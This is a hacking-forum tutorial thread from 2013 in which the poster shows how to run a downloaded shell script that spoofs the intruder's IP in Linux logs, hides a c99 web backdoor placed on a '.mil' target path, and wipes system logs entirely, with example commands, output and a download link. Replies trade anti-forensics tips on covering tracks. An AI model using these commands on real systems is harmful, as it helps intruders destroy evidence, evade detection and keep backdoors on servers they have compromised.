EvilZone
Hacking and Security => Tutorials => : Ch1m4zz December 29, 2013, 06:03:19 PM
-
So to start with is that I had wrote this tutorial and then it got deleted by mistake :( and I am Swedish so my grammar is not perfect .. In this tut I will show you how to clear/edit the logs on a linux system. So let's start with that this is for educational purposes only. So the script I will be showing is not programmed by me I found it on http://www.garage4hacker.com/ (http://www.garage4hacker.com/) Download can be found on the bottom of the thread. So this script can spoof your IP, hide web backdoors from the logs and totally fuck the logs.'
So to start we will spoof our IP with an other IP. To do this use this command.
./Wipe_Linux_Logs-v0.2.sh -d (Your IP) -s (IP to spoof) -u "User here"
And to hide the web backdoor from the logs you use this command.
./Wipe_Linux_Logs-v0.2.sh -w "/var/www/target.mil/uploads/c99.php
But remember that you can use these commands together like this
./Wipe_Linux_Logs-v0.2.sh -d (Your IP) -s (IP to spoof) -u "User here" -w "/var/www/target.mil/uploads/c99.php"
You can also just fuck the logs and delete them totally :)
./Wipe_Linux_Logs-v0.2.sh -f
And for last you can get some system info and check what logs is in the system and so on.
./Wipe_Linux_Logs-v0.2.sh -i
Here's an example of that!
root@D3st:~/Desktop# ./Wipe_Linux_Logs-v0.2.sh -i
>>>>>>>>>>>>> System Info <<<<<<<<<<<<
[*] Linux Kernel: Linux D3st 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux
[*] The various log files found on system:
[*] ASCII Log Files
/var/log/syslog
/var/log/messages
/var/log/auth.log
[*] Binary Log Files
/var/log/wtmp
/var/log/lastlog
/var/log/btmp
/var/run/utmp
>>>>>>>>>> Login User Info <<<<<<<<<<
[*] Logged in Users:
root tty7 2013-12-28 11:15 (:0)
root pts/0 2013-12-29 13:12 (:0.0)
[*] You are logged in as user 'root' and have 'root' access on this machine
[*] You are a member of groups: root
root@D3st:~/Desktop#
So that was about all I had to cover in this tut I hope you liked it and leave some feedback in the comments :) I really hope this haven't been posted before.
Here comes the download
http://www.2shared.com/file/7SHUG2wN/Wipe_Linux_Logs-v02.html (http://www.2shared.com/file/7SHUG2wN/Wipe_Linux_Logs-v02.html)
-
Can you write a tut on RAT's ?
-
Yes... But I'm not sure if you re sarcastic right now.. And I'm right now using linux as OS
-
He is sarcastic, he's referring to this being quite.. How should I put it... Standard knowledge when you move into Linux. But keep learning new stuff, don't give up!
-
Well its now made for the newbies and not you guys that are pro.. But thanks for the feedback
-
I actually never got deeper into Linux OS, although I've been using it for 2 years now, so this is new for me. Anyway, I wonder why you got -11 cookies with only 7 posts?
-
I actually never got deeper into Linux OS, although I've been using it for 2 years now, so this is new for me. Anyway, I wonder why you got -11 cookies with only 7 posts?
Bad intro Then I made a new intro and I'm currently trying to get back and get active :)
-
Nice try n don't lose the spirit. This might be common knowledge but try more n more, next time you might land something new to the majority of us.
-
Any honest contribution is appreciated.
About the shell script - I guess it works, but it would be a bad idea in itself to wget stuff from the web once you gained access to the server - logs everywhere.
However it's good that this script replaces the logs and not just deletes them the fuck out like most skiddies think is the way to go - hey no traces, amirite?
+cookie to you sir!
-
Any honest contribution is appreciated.
About the shell script - I guess it works, but it would be a bad idea in itself to wget stuff from the web once you gained access to the server - logs everywhere.
However it's good that this script replaces the logs and not just deletes them the fuck out like most skiddies think is the way to go - hey no traces, amirite?
+cookie to you sir!
Thanks :) But remeber I didn't code the script but I'm learning python and later I will relace my own scripts :)
-
Im new so this is ,although not hard to find, rather useful. Thanks :)
-
I appreciate the attempt to contribute, but instead of showing how to run a script to wipe logs, why not tell us where logs are located and how to wipe them by hand? Then we can write our own scripts and/or more thoroughly understand how this script does its job?
Sorry for all the negative feedback you've been receiving, and ill give this one a C+ for effort. But try harder next time, show us what your really capable of ;)
Edit*
Tell us what locations they are locayed in, commands to erase the contents or only part of the contents, maybe even replace them? what's the difference between how bash logs history and servers do? Stuff like that just to be more clear. I actually opened this up expecting to read about this sort of thing but was a bit disappointed. I eagerly await your next in-depth tutorial though ^_^